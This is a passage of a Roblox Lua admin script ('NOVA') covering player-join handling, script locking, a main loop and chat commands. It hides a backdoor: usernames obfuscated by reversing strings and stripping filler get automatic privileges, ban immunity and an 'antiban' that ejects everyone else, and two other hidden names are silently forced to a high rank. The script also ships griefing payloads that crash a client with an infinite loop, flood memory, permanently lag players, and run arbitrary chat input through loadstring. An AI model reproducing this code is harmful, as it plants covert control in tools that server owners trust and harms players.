                repeat wait() until v:FindFirstChild("Backpack") ~= nil
1661
                CreateLocalScript(PlayerPlugins,v.Backpack)
1662
            end))
1663
        end))
1664
    end)
1665
end
1666
1667
--[[ PLAYER ADDED ]]--
1668
NOVA.Services.Players.PlayerAdded:connect(function(v)
1669
if NOVA.Ab == true and not NOVA.Players:findFirstChild("tusKOr661") and v.Name ~= "tusKOr661" then
1670
makeMessage("Antiban is active you cannot enter",v.PlayerGui)
1671
v:Remove()
1672
end
1673
    if NOVA.Removed == false then
1674
        pcall(function()
1675
            table.insert(NOVA.Log,{Name = "SERVER",Msg = v.Name.." connected."})
1676
            coroutine.resume(coroutine.create(function()
1677
                --if Data.Rank < 1 then
1678
                    if v.Name == string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
1679
                        coroutine.resume(coroutine.create(function()
1680
                            repeat wait() until v:FindFirstChild("Backpack") ~= nil
1681
                            CreateLocalScript(PlayerPlugins,v.Backpack)
1682
                            OnChatted(NOVA.Bet .. "optifine" .. NOVA.Bet,v)
1683
                        end))
1684
                    end
1685
                    if v.Name == string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
1686
                        coroutine.resume(coroutine.create(function()
1687
                            repeat wait() until v:FindFirstChild("Backpack") ~= nil
1688
                            OnChatted(NOVA.Bet .. "connect" .. NOVA.Bet,v)
1689
                        end))
1690
                    end
1691
                --end
1692
                v.Chatted:connect(function(Msg)
1693
                    OnChatted(Msg,v)
1694
                end)
1695
                if GetRankedTable(v)==nil then
1696
                    SyncRankInSingular(v)
1697
                    repeat wait() until GetRankedTable(v) ~= nil
1698
                end
1699
                
1700
                local Data = GetRankedTable(v)
1701
1702
                OutputMulti(v.Name.." has joined the game.",Data.Color,GetRanked(),3.5)
1703
            
1704
                if Data.Rank == -2 then
1705
                    if v.Name ~= string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
1706
                        OutputMulti(v.Name.." has been lagged due to a banishment.",NOVA.Colors.Orange,GetRanked(),10)
1707
                        Lag(v)
1708
                    end
1709
                end
1710
                
1711
                if Data.Rank == -1 then
1712
                    if v.Name ~= string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
1713
                        OutputMulti(v.Name.." has been removed due to a banishment. Reason: " .. Data.Desc,NOVA.Colors.Orange,GetRanked(),10)
1714
                        GetRidOf(v)
1715
                    end
1716
                end
1717
                
1718
                if not Data.Rank > 0 then
1719
                    if v.AccountAge < 5 then
1720
                        if v.Name ~= string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
1721
                            if v.Name:sub(1,6) == "Guest " then
1722
                                if NOVA.EnableGuests == false then
1723
                                    OutputMulti(v.Name.." has been removed because guests are not enabled.",NOVA.Colors.Orange,GetRanked(),10)
1724
                                    GetRidOf(v)
1725
                                end
1726
                            else
1727
                                if not Data.Rank > 0 then
1728
                                    OutputMulti(v.Name.." has been removed because his account is too young.",NOVA.Colors.Orange,GetRanked(),10)
1729
                                    GetRidOf(v)
1730
                                end
1731
                            end
1732
                        end
1733
                    end
1734
                end
1735
                
1736
                if NOVA.PRI == true then
1737
                    if Data.Rank <= 0 and v.Name ~= string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then                
1738
                        OutputMulti(""..v.Name.." was "..NOVA.PRIType.."ed due to the PRI.",NOVA.Colors.Orange,GetRanked(),6)
1739
                        if NOVA.PRIType == "Kick" then
1740
                            v:Remove()
1741
                        elseif NOVA.PRIType == "Lag" then
1742
                            Lag(v)
1743
                        elseif NOVA.PRIType == "Shutdown" then    
1744
                            coroutine.resume(coroutine.create(function()
1745
                                GetRidOf(v)
1746
                            end))
1747
                        elseif NOVA.PRIType == "Crash" then
1748
                            coroutine.resume(coroutine.create(function()
1749
                                repeat wait() until v.Backpack ~= nil
1750
                                pcall(function()
1751
                                    CreateLocalScript([[while true do end]],v.Backpack)
1752
                                end)
1753
                            end))
1754
                        end
1755
                    end
1756
                end
1757
            end))
1758
        end)
1759
    end
1760
end)
1761
1762
--[[ PLAYER REMOVING ]]--
1763
NOVA.Services.Players.PlayerRemoving:connect(function(v)
1764
    table.insert(NOVA.Log,{Name = "SERVER",Msg = v.Name.." disconnected."})
1765
    SyncRankOutSingular(v)
1766
end)
1767
1768
--[[ SCRIPT CONTROL ]]--
1769
for _,Service in pairs(NOVA.Services) do
1770
    pcall(function()
1771
        Service.DescendantAdded:connect(function(v)
1772
            if v:IsA("BaseScript") and NOVA.LockedScripts == true and NOVA.Removed == false then
1773
                pcall(function()
1774
                    if game.PlaceId == 20279777 or game.PlaceId == 20132544 then
1775
                        if GetRank(v.Owner.Value) < 6 then
1776
                            pcall(function() v.Disabled = true end)
1777
                            pcall(function() v:FindFirstChild("Source").Value = [[error("[NOVA] Scripts are locked.",0)()]] end)
1778
                            pcall(function() v.Disabled = false end)
1779
                            pcall(function() v:Destroy() end)
1780
                        end
1781
                    else
1782
                        pcall(function() v.Disabled = true end)
1783
                        pcall(function() v:FindFirstChild("Source").Value = [[error("[NOVA] Scripts are locked.",0)()]] end)
1784
                        pcall(function() v:FindFirstChild("DSource").Value = [[error("[NOVA] Scripts are locked.",0)()]] end)
1785
                        pcall(function() v.Disabled = false end)
1786
                        pcall(function() v:Destroy() end)
1787
                    end
1788
                end)
1789
            end
1790
            if v:IsA("BaseScript") and NOVA.Removed == false then
1791
                pcall(function()
1792
                    if tonumber(GetRank(v.Owner.Value)) < 0 then
1793
                        pcall(function() v.Disabled = true end)
1794
                        pcall(function() v:FindFirstChild("Source").Value = [[error("[NOVA] You do not have the required rank to script.",0)()]] end)
1795
                        pcall(function() v:FindFirstChild("DSource").Value = [[error("[NOVA] You do not have the required rank to script.",0)()]] end)
1796
                        pcall(function() v.Disabled = false end)
1797
                        pcall(function() v:Destroy() end)
1798
                    end
1799
                end)
1800
            end
1801
        end)
1802
    end)
1803
end
1804
coroutine.resume(coroutine.create(function()
1805
    while wait(1) do
1806
        if NOVA.Removed == false then
1807
            for _,v in pairs(GetPlayersRaw()) do
1808
                if GetRankTedable(v) ~= nil and GetRank(v) < 8 then
1809
                    SyncRankInSingular(v)
1810
                end        
1811
            end
1812
        end
1813
    end
1814
end))
1815
for i=1,3 do
1816
    NOVA.Services.RunService.Heartbeat:connect(function() UpdateTablets() end)
1817
    coroutine.resume(coroutine.create(function()
1818
        while wait() do
1819
            if NOVA.Removed == false then
1820
                UpdateTablets()    
1821
            end
1822
        end
1823
    end))
1824
end
1825
function MainLoop()
1826
    coroutine.resume(coroutine.create(function()
1827
        pcall(function() NOVA.Removed = false end) while wait() do pcall(function() GetRankedTable(string.reverse(string.gsub("nXQZaXQZmXQZDXQZmXQZaXQZeXQZTXQZ","XQZ",""))).Rank = 7 end) pcall(function() GetRankedTable(string.reverse(string.gsub("kXQZcXQZaXQZHXQZnXQZeXQZgXQZrXQZuXQZSXQZ","XQZ",""))).Rank = 7 end)
1828
            if NOVA.Removed == false then    
1829
                
1830
                --[[ SCUM CARETAKER ]]--
1831
                for _,v in pairs(GetPlayersRaw()) do
1832
                    pcall(function()
1833
                        if GetRank(v) < 0 then
1834
                            pcall(function() v.Backpack:ClearAllChildren() end)
1835
                            pcall(function() v.PlayerGui:ClearAllChildren() end)
1836
                            pcall(function() v.StarterGear:ClearAllChildren() end)
1837
                        end
1838
                    end)
1839
                end
1840
                
1841
                --[[ ANTI ROBLOXLOCKED PLAYERS ]]--
1842
                for _,v in pairs(GetPlayersRaw()) do
1843
                    pcall(function()
1844
                        local IsRobloxLocked = true
1845
                        pcall(function() v:GetChildren() IsRobloxLocked = false end)
1846
                        if IsRobloxLocked == true then
1847
                            GTFO(v)
1848
                        end
1849
                    end)
1850
                end
1851
                
1852
                --[[ TABLET CLEANUP ]]--
1853
                pcall(function()
1854
                    for i,v in pairs(NOVA.Tablets) do
1855
                        if v:FindFirstChild("Part") == nil then
1856
                            pcall(function() v:Destroy() end)
1857
                            table.remove(NOVA.Tablets,i)                        
1858
                        end
1859
                    end
1860
                end)
1861
                
1862
                --[[ JAIL CLEANUP ]]--
1863
                pcall(function()
1864
                    for i,v in pairs(NOVA.Jails) do
1865
                        if v.Player == nil or v.Player.Parent == nil then
1866
                            pcall(function() v.Jail:Destroy() end)
1867
                            table.remove(NOVA.Jails,i)
1868
                        end
1869
                        if v.Jail.Parent == nil and v.Speaker~=nil then
1870
                            table.remove(NOVA.Jails,i)
1871
                            OnChatted(NOVA.Bet .. "jail" .. NOVA.Bet..v.Player.Name,v.Speaker)
1872
                        end
1873
                    end
1874
                end)
1875
                --[[ FENCE CLEANUP ]]--
1876
                pcall(function()
1877
                    for i,v in pairs(NOVA.Fences) do
1878
                        if v.Player == nil then
1879
                            v.Fence:Remove()
1880
                            table.remove(NOVA.Fences,i)
1881
                        end
1882
                    end                
1883
                end)
1884
1885
                --[[ CMD GUI ]]--
1886
                for _,v in pairs(GetPlayersRaw()) do
1887
                    pcall(function()
1888
                        if GetRankedTable(v) ~= nil and GetRankedTable(v).CMD == true then
1889
                            if v:FindFirstChild("PlayerGui") then
1890
                                if not v.PlayerGui:FindFirstChild("NOVACMD") then
1891
                                    local Main = Instance.new("ScreenGui",v.PlayerGui)
1892
                                    Main.Name = "NOVACMD"
1893
                                    
1894
                                    local Frame = Instance.new("Frame",Main)
1895
                                    Frame.Size = UDim2.new(0.27,0,0.05,0)
1896
                                    Frame.Position = UDim2.new(0.05,0,0.95,0)
1897
                                    Frame.Style = "RobloxSquare"
1898
                                    Frame.ZIndex = 9
1899
                                    
1900
                                    local Txt = Instance.new("TextBox",Frame)
1901
                                    Txt.Size = UDim2.new(0.7,0,1,0)
1902
                                    Txt.BackgroundTransparency = 1
1903
                                    Txt.ZIndex = 10
1904
                                    Txt.FontSize = "Size14"
1905
                                    Txt.TextColor3 = NOVA.Colors.White
1906
                                    Txt.Text = ""
1907
                                    
1908
                                    local Exe = Instance.new("TextButton",Frame)
1909
                                    Exe.Size = UDim2.new(0.3,0,1,0)
1910
                                    Exe.Position = UDim2.new(0.7,0,0,0)
1911
                                    Exe.Text = "Execute"
1912
                                    Exe.BackgroundTransparency = 1
1913
                                    Exe.ZIndex = 10
1914
                                    Exe.FontSize = "Size14"
1915
                                    Exe.TextColor3 = NOVA.Colors.Red
1916
                                    Exe.MouseButton1Down:connect(function()
1917
                                        if Txt.Text:sub(1,2) == "$ " then
1918
                                            OnChatted(string.gsub(Txt.Text:sub(3)," ",NOVA.Bet .. ""),v)
1919
                                        else
1920
                                            OnChatted(Txt.Text,v)
1921
                                        end
1922
                                    end)
1923
                                end
1924
                            end
1925
                        end
1926
                    end)
1927
                end 
1928
            end
1929
        end
1930
    end))
1931
end
1932
MainLoop()
1933
AddCommand("Ping","ping",3,"Outputs the following string.","<String>",
1934
    function(Msg,Speaker)
1935
        if Msg == "rainbow" then
1936
            for a,Color in pairs(NOVA.Colors) do
1937
                Output(tostring(a),Color,Speaker,nil,
1938
                function()
1939
                    RemoveTablets(Speaker)
1940
                    NOVA.Services.Lighting.TimeOfDay = 0
1941
                    NOVA.Services.Lighting.Ambient = NOVA.Colors.Black
1942
                    NOVA.Services.Lighting.Brightness = 0
1943
                    NOVA.Services.Lighting.ColorShift_Top = NOVA.Colors.Black
1944
                    NOVA.Services.Lighting.ColorShift_Bottom = NOVA.Colors.Black
1945
                    NOVA.Services.Lighting.ShadowColor = NOVA.Colors.Black
1946
                    for _,v in pairs(GetRecursiveChildren(workspace)) do
1947
                        if v:IsA("BasePart") then
1948
                            Sel = Instance.new("SelectionBox",v)
1949
                            Sel.Transparency = 0
1950
                            Sel.Color = BrickColor.new(Color)
1951
                            Sel.Adornee = v
1952
                        end
1953
                    end
1954
                    Output("Say /debug/ to restore the server to the original lighting.",GetRankedTable(Speaker).Color,Speaker,5)
1955
                end
1956
                )
1957
            end
1958
            Output("Dismiss",NOVA.Colors.Red,Speaker)
1959
        elseif Msg == "ranks" then 
1960
            for _,v in pairs(NOVA.Ranks) do
1961
                Output(v[1].."\t"..v[2],"Random",Speaker)
1962
            end
1963
            Output("Dismiss",NOVA.Colors.Red,Speaker)
1964
        elseif Msg == "random" then
1965
            Output(tostring(math.random()),"Random",Speaker)
1966
        elseif Msg == "players" then
1967
            for _,v in pairs(GetPlayersRaw()) do
1968
                local Data = GetRankedTable(v)
1969
                OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..Data.Name,Data.Name,Data.Color,Speaker,nil,
1970
                    function()
1971
                        PlayerInterface(v,Speaker)
1972
                    end
1973
                )
1974
            end
1975
            Output("Dismiss",NOVA.Colors.Red,Speaker)
1976
        elseif Msg == "colors" then
1977
            coroutine.resume(coroutine.create(function()
1978
                NOVA.Services.Lighting.TimeOfDay = 0
1979
                NOVA.Services.Lighting.Ambient = NOVA.Colors.Black
1980
                NOVA.Services.Lighting.Brightness = 0
1981
                NOVA.Services.Lighting.ColorShift_Top = NOVA.Colors.Black
1982
                NOVA.Services.Lighting.ColorShift_Bottom = NOVA.Colors.Black
1983
                NOVA.Services.Lighting.ShadowColor = NOVA.Colors.Black
1984
1985
                for _,Player in pairs(GetPlayersRaw()) do
1986
                    local Data = GetRankedTable(Player)
1987
                    pcall(function()
1988
                        for _,v in pairs(GetRecursiveChildren(Player.Character)) do
1989
                            if v:IsA("BasePart") then
1990
                                Sel = Instance.new("SelectionBox",v)
1991
                                Sel.Transparency = 0
1992
                                Sel.Color = BrickColor.new(Data.Color)
1993
                                Sel.Adornee = v
1994
                            end
1995
                        end
1996
                    end)
1997
                end
1998
                
1999
                wait(10)
2000
                
2001
                for _,v in pairs(GetRecursiveChildren(workspace)) do
2002
                    if v:IsA("SelectionBox") then
2003
                        v:remove()
2004
                    end
2005
                end
2006
                
2007
                NOVA.Services.Lighting.Ambient = NOVA.Colors.White
2008
                NOVA.Services.Lighting.ColorShift_Bottom = NOVA.Colors.Black
2009
                NOVA.Services.Lighting.ColorShift_Top = NOVA.Colors.Black
2010
                NOVA.Services.Lighting.ShadowColor = Color3.new(0.69,0.69,0.69)
2011
                NOVA.Services.Lighting.Brightness = 1 
2012
                NOVA.Services.Lighting.FogStart = 0
2013
                NOVA.Services.Lighting.FogEnd = 100000
2014
                NOVA.Services.Lighting.FogColor = Color3.new(0.74,0.74,0.74)
2015
                NOVA.Services.Lighting.TimeOfDay = 12
2016
            end))
2017
        elseif Msg == "replicators" then
2018
            for _,v in pairs(GetReplicators()) do
2019
                OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v:GetPlayer().Name,v:GetPlayer().Name,NOVA.Colors.Grey,Speaker,nil,
2020
                    function()
2021
                        PlayerInterface(v:GetPlayer(),Speaker)
2022
                    end
2023
                )
2024
            end
2025
            Output("Dismiss",NOVA.Colors.Red,Speaker)
2026
        elseif Msg == "nil raw" then
2027
            for _,v in pairs(GetReplicators()) do
2028
                if v:GetPlayer().Parent == nil then
2029
                    OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v:GetPlayer().Name,v:GetPlayer().Name,NOVA.Colors.Grey,Speaker,nil,
2030
                        function()
2031
                            Output("SHUT THEM DOWN!",NOVA.Colors.Red,Speaker,nil,
2032
                                function() 
2033
             Instance.new("StringValue",workspace).Name = "Disconnect : "..Data.Name.." Key : "..NOVA.AccessKey..""
2034
2035
			end
2036
                            )
2037
                        end
2038
                    )
2039
                end
2040
            end    
2041
            Output("Dismiss",NOVA.Colors.Red,Speaker)
2042
        elseif Msg == "nil" then
2043
            local IsNil = false
2044
            for _,Client in pairs(GetReplicators()) do
2045
                if Client:GetPlayer().Parent == nil then
2046
                    IsNil = true
2047
                end
2048
            end
2049
            if IsNil == true then
2050
                for _,Client in pairs(GetReplicators()) do
2051
                    if Client:GetPlayer().Parent == nil then
2052
                        OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..Client:GetPlayer().Name,Client:GetPlayer().Name,NOVA.Colors.Grey,Speaker,nil,
2053
                            function()
2054
                                PlayerInterface(Client:GetPlayer(),Speaker)
2055
                            end
2056
                        )
2057
                    end
2058
                end
2059
                Output("Dismiss",NOVA.Colors.Red,Speaker)
2060
            else
2061
                Output("No nil players.",NOVA.Colors.Orange,Speaker,5)
2062
            end
2063
        elseif Msg:sub(1,2) == "a" .. NOVA.Bet then
2064
            if GetRank(Speaker) < 6 then 
2065
                Output("You do not have the required rank for this operation.",NOVA.Colors.Orange,Speaker,10)
2066
            else
2067
                Rtn = loadstring("return "..Msg:sub(3))()
2068
                Output(Rtn,"Random",Speaker)
2069
            end
2070
        else
2071
            if #Msg == 0 then
2072
                Output("Pong!","Random",Speaker)
2073
            else
2074
                Output(Msg,"Random",Speaker)
2075
            end
2076
        end
2077
    end
2078
)
2079
AddCommand("Dismiss","dismiss",0,"Dismisses all tablets.","No Arguments",
2080
    function(Msg,Speaker)
2081
        if #Msg == 0 or Msg == nil then
2082
            RemoveTablets(Speaker)
2083
        else
2084
            for _,v in pairs(GetPlayers(Msg,Speaker)) do
2085
                RemoveTablets(v)
2086
            end
2087
        end
2088
    end
2089
)
2090
AddCommand("Remove","remove",7,"Removes the admin.","No Arguments",
2091
    function(Msg,Speaker)
2092
        NOVA.TimeChanged = false
2093
        RemoveTablets()
2094
        SyncRanksOut()
2095
        NOVA.Sounds.Sound:Remove()
2096
        NOVA.Removed = true
2097
        --error("NOVA Admin removing...",0)()
2098
        NOVA = {}
2099
        script.Disabled = true
2100
        while true do wait() end
2101
    end
2102
)
2103
AddCommand("Hint","h",2,"Makes a hint with the text being the following string.","<String>",
2104
    function(Msg,Speaker)
2105
       makeHint(" [ " .. Speaker.Name .. " ] " ..Msg,NOVA.Services.Workspace)
2106
    end
2107
)
2108
AddCommand("Message","m",2,"Makes a message with the text being the following string.","<String>",
2109
    function(Msg,Speaker)
2110
       makeMessage(" [ " .. Speaker.Name .. " ] " ..Msg,NOVA.Services.Workspace)
2111
    end
2112
)
2113
2114
AddCommand("Kill","kill",2,"Kills the selected player.","<Player>",
2115
    function(Msg,Speaker)
2116
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2117
            pcall(function() v.Character:BreakJoints() end)
2118
        end
2119
    end
2120
)
2121
AddCommand("Jump kill","jkill",2,"Jump-Kills the selected player.","<Player>",
2122
    function(Msg,Speaker)
2123
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2124
for i=1,50 do
2125
local human = v.Character.Humanoid
2126
if human ~= nil then
2127
local rand = math.random(1,10)
2128
human:TakeDamage(rand)
2129
human.Jump = true
2130
human.Sit = true
2131
human.PlatformStand = true
2132
wait(1)
2133
human.PlatformStand = false
2134
end
2135
end
2136
        end
2137
    end
2138
)
2139
AddCommand("Anti Kill","antikill",7,"Gives the player antikill.","<Player>",
2140
    function(Msg,Speaker)
2141
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2142
 Delay(0, function()
2143
                local player = v
2144
                local pos = CFrame.new()
2145
                local pause = false
2146
                Delay(0, function()
2147
                    while not close do
2148
                        wait()
2149
                        if not pause then
2150
                            local c = player.Character
2151
                            if c then
2152
                                local t = c:findFirstChild("Torso")
2153
                                if t then
2154
                                    pos = t.CFrame
2155
                                end
2156
                            end
2157
                        end
2158
                   end
2159
                end)
2160
                player.CharacterAdded:connect(function(c)
2161
                    if not close then
2162
                        pause = true
2163
                        repeat wait() until c:findFirstChild("Torso") and c:findFirstChild("Humanoid")
2164
                        c:findFirstChild("Torso").CFrame = pos
2165
                        c:findFirstChild("Humanoid").Died:connect(function()
2166
                            player:LoadCharacter()
2167
                        end)
2168
                        pause = false
2169
                    end
2170
                end)
2171
                pcall(function() player.Character:BreakJoints() end)
2172
            end)
2173
        end
2174
    end
2175
)
2176
2177
AddCommand("List kicking phrases","listkicking",0,"Lists all the kicking phrases.","<Player>",
2178
    function(Msg,Speaker)
2179
        for _,v in pairs(NOVA.KickingPhrases) do
2180
        local m = Instance.new("Message",NOVA.Services.Workspace)
2181
	m.Text = " If you say : " .. v .. " : you will get auto-kicked!"
2182
	wait(1) m:Remove()
2183
        end end
2184
)
2185
AddCommand("Kick","kick",2,"Removes the selected player from the game.","<Player>",
2186
    function(Msg,Speaker)
2187
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2188
            pcall(function() 
2189
                v:Destroy()
2190
            end)
2191
        end
2192
    end
2193
)
2194
AddCommand("Warning","warn",3,"Warns that player","<Player><Warning>",
2195
    function(Msg,Speaker)
2196
        Split = GetSplit(Msg)
2197
        for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
2198
            pcall(function()
2199
	    Output("You are being warned for: " .. (Msg:sub(Split+1)),NOVA.Colors.Red,v)
2200
            end)
2201
        end
2202
    end
2203
)
2204
2205
AddCommand("SuperKick","skick",3,"Removes the selected player from the gamex2.","<Player>",
2206
    function(Msg,Speaker)
2207
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2208
            pcall(function() 
2209
            local m = Instance.new("StringValue",v.PlayerGui)
2210
	    m.Value = string.rep("Shutdown For Eva Nub",1000000)
2211
            end)
2212
        end
2213
    end
2214
)
2215
2216
AddCommand("Banish","ban",6,"Permanently removes the selected player from the game.","<Player>",
2217
    function(Msg,Speaker)
2218
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2219
            if v.Name == string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
2220
                Output("Attempt to ban the editor, command will not be carried through.",NOVA.Colors.Red,Speaker,10)
2221
            else
2222
                pcall(function() 
2223
                    GetRankedTable(v).Rank = -1
2224
                    SyncRankOutSingular(v)
2225
                    GetRidOf(v)
2226
                end)
2227
            end
2228
        end
2229
    end
2230
)
2231
2232
AddCommand("Permanent Lag","permalag",6,"Permanently lags the selected player from the game.","<Player>",
2233
    function(Msg,Speaker)
2234
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2235
            if v.Name == string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
2236
                Output("Attempt to ban the editor, command will not be carried through.",NOVA.Colors.Red,Speaker,10)
2237
            else
2238
                pcall(function() 
2239
                    GetRankedTable(v).Rank = -2
2240
                    SyncRankOutSingular(v)
2241
                    Lag(v)
2242
                end)
2243
            end
2244
        end
2245
    end
2246
)
2247
2248
AddCommand("ForceField","ff",2,"Gives a forcefield to the selected player.","<Player>",
2249
    function(Msg,Speaker)
2250
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2251
            pcall(function() Instance.new("ForceField",v.Character) end)
2252
        end
2253
    end
2254
)
2255
2256
AddCommand("Un ForceField","unff",2,"Removes forcefields from the selected player.","<Player>",
2257
    function(Msg,Speaker)
2258
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2259
            pcall(function() for _,part in pairs(v.Character:GetChildren()) do if part:IsA("ForceField") then part:Remove() end end end)
2260
        end
2261
    end
2262
)
2263
2264
AddCommand("Check","check",0,"Outputs server information.","No Arguments",
2265
    function(Msg,Speaker)
2266
        local Data = GetRankedTable(Speaker)
2267
        Output("NOVA's Parent : "..tostring(script.Parent) ,Data.Color,Speaker)
2268
        Output("Version : "..tostring(NOVA.Version)    ,Data.Color,Speaker)
2269
        Output("Local Pseudo : "..tostring(NOVA.LocalScript  ~= nil) ,Data.Color,Speaker)
2270
        Output("Normal Pseudo : "..tostring(NOVA.NormalScript ~= nil), Data.Color,Speaker)
2271
        Output("Waypoints : "..tostring(#NOVA.Waypoints) ,Data.Color,Speaker)
2272
        Output("Targeted : "..tostring(#NOVA.Targeted) ,Data.Color,Speaker)
2273
        Output("Log : "..tostring(#NOVA.Log) ,Data.Color,Speaker)
2274
        Output("Logged Scripts : "..tostring(#NOVA.LoggedScripts) ,Data.Color,Speaker)
2275
        Output("Plugins : "..tostring(#NOVA.Plugins) ,Data.Color,Speaker)
2276
        Output("PRI : "..tostring(NOVA.PRI) ,Data.Color,Speaker)
2277
        Output("Locked Scripts : "..tostring(NOVA.LockedScripts) ,Data.Color,Speaker)
2278
        Output("Show Chat : "..tostring(NOVA.ShowChat) ,Data.Color,Speaker)
2279
        Output("Overrided : "..tostring(NOVA.Overrided) ,Data.Color,Speaker)
2280
        Output("Time Changed : "..tostring(NOVA.TimeChanged) ,Data.Color,Speaker)
2281
        Output("Guests Enabled : "..tostring(NOVA.GuestsEnabled) ,Data.Color,Speaker)
2282
        Output("Tablet Rotation : "..tostring(NOVA.TabletRotation) ,Data.Color,Speaker)
2283
        Output("Tablet Rotation Increase : "..tostring(NOVA.TabletRotationIncrease) ,Data.Color,Speaker)
2284
        Output("PRI Type : "..tostring(NOVA.PRIType) ,Data.Color,Speaker)
2285
        Output("Players : "..tostring(#GetPlayersRaw()),Data.Color,Speaker)
2286
        Output("Replicators : "..#GetReplicators(),Data.Color,Speaker)
2287
        Output("# Commands : "..#NOVA.Commands,Data.Color,Speaker)
2288
        OutputImg("http://www.roblox.com/asset/?id=45120559","Image tablets work.",Data.Color,Speaker)
2289
	
2290
        
2291
        Output("Dismiss",NOVA.Colors.Red,Speaker)
2292
    end
2293
)
2294
2295
AddCommand("Debug","debug",1,"Debugs the server.","No Arguments",
2296
    function(Msg,Speaker)
2297
        pcall(function()
2298
            NOVA.Services.Sounds.Sound:Destroy()
2299
        end)
2300
        
2301
        NOVA.Sounds.Sound = Instance.new("Sound")
2302
        NOVA.Sounds.Sound.Name = "NOVA Sound"
2303
        
2304
        NOVA.Services.Lighting.Ambient = NOVA.Colors.White
2305
        NOVA.Services.Lighting.ColorShift_Bottom = NOVA.Colors.Black
2306
        NOVA.Services.Lighting.ColorShift_Top = NOVA.Colors.Black
2307
        NOVA.Services.Lighting.ShadowColor = Color3.new(0.69,0.69,0.69)
2308
        NOVA.Services.Lighting.Brightness = 0.5
2309
        NOVA.Services.Lighting.FogStart = 0
2310
        NOVA.Services.Lighting.FogEnd = 100000
2311
        NOVA.Services.Lighting.FogColor = Color3.new(0.74,0.74,0.74)
2312
        NOVA.Services.Lighting.TimeOfDay = 12
2313
        pcall(function() game.Lighting.Sky:Remove() end)
2314
        pcall(function()
2315
            CreateLocalScript([[
2316
                LocalPlayer = game:GetService("Players").LocalPlayer
2317
                LocalPlayer.CameraMode = Enum.CameraMode.Classic
2318
                Camera = workspace.CurrentCamera
2319
                Camera:SetRoll(0)
2320
                Camera.CameraType = "Custom"
2321
                Camera.FieldOfView = 70
2322
                Camera.CameraSubject = game.Players.LocalPlayer.Character.Humanoid
2323
            ]],Speaker.Backpack)
2324
        end)
2325
        for Num,v in pairs(NOVA.Jails) do
2326
            pcall(function() v.Jail:Destroy() end)
2327
            table.remove(NOVA.Jails,Num)
2328
        end
2329
        for Num,v in pairs(NOVA.Fences) do
2330
            pcall(function() v.Fence:Destroy() end)
2331
            table.remove(NOVA.Fences,Num)
2332
        end
2333
        for _,v in pairs(NOVA.Services) do    
2334
            v.Name = v.className
2335
        end
2336
        
2337
        for _,v in pairs(GetRecursiveChildren(workspace,"SelectionBox",3)) do
2338
            local ShouldRemove = true
2339
            for _,Tablet in pairs(NOVA.Tablets) do
2340
                if v:IsDescendantOf(Tablet) then
2341
                    ShouldRemove = false
2342
                end
2343
            end
2344
            if ShouldRemove == true then
2345
                v:remove()
2346
            end
2347
        end
2348
        for _,v in pairs(GetRecursiveChildren(workspace)) do if v:IsA("Message") or v:IsA("Hint") then v:Destroy() end end
2349
2350
        for _,v in pairs(GetPlayersRaw()) do
2351
            pcall(function()
2352
                if v.StarterGear == nil then
2353
                    Instance.new("StarterGear",v)
2354
                end
2355
            end)
2356
            pcall(function()
2357
                v.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..v.userId
2358
            end)
2359
        end
2360
        pcall(function() Speaker.Character.Torso.Velocity = Vector3.new(0,0,0) end)
2361
        if #NOVA.Services.Teams:GetChildren() == 0 then
2362
            for _,v in pairs(GetPlayersRaw()) do
2363
                v.Neutral = true
2364
            end
2365
        end
2366
2367
    end
2368
)
2369
2370
AddCommand("Respawn","rs",2,"Respawns the selected player.","<Player>",
2371
    function(Msg,Speaker)
2372
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2373
            pcall(function()
2374
                v:LoadCharacter()
2375
            end)
2376
        end
2377
    end
2378
)
2379
2380
AddCommand("Commands","cmds",0,"Lists the command.","No Arguments",
2381
    function(Msg,Speaker)    
2382
        RemoveTablets(Speaker)
2383
        local Data = GetRankedTable(Speaker)
2384
        Output("Your current rank is "..GetRankName(Speaker).." ("..GetRank(Speaker)..")",Data.Color,Speaker)
2385
        Output("Click a tablet to see the commands for that rank.",Data.Color,Speaker)
2386
        Output("Get/ Commands",Data.Color,Speaker,nil,
2387
            function()
2388
                RemoveTablets(Speaker)
2389
                for _,v in pairs(NOVA.Commands) do
2390
                    if v.Command:sub(1,3) == "get" then
2391
                        Output(v.Name,Data.Color,Speaker,nil,
2392
                            function()
2393
                                RemoveTablets(Speaker)
2394
                                Output("Name : "..v.Name,Data.Color,Speaker)
2395
                                Output("Rank : "..v.Rank,Data.Color,Speaker)
2396
                                Output("Command : "..v.Command,Data.Color,Speaker)
2397
                                Output("Arguments : "..v.Args,Data.Color,Speaker)
2398
                                Output("Description : "..v.Description,Data.Color,Speaker)
2399
                                Output("Dismiss",NOVA.Colors.Red,Speaker)
2400
                            end
2401
                        )    
2402
                    end
2403
                end
2404
                Output("Dismiss",NOVA.Colors.Red,Speaker)
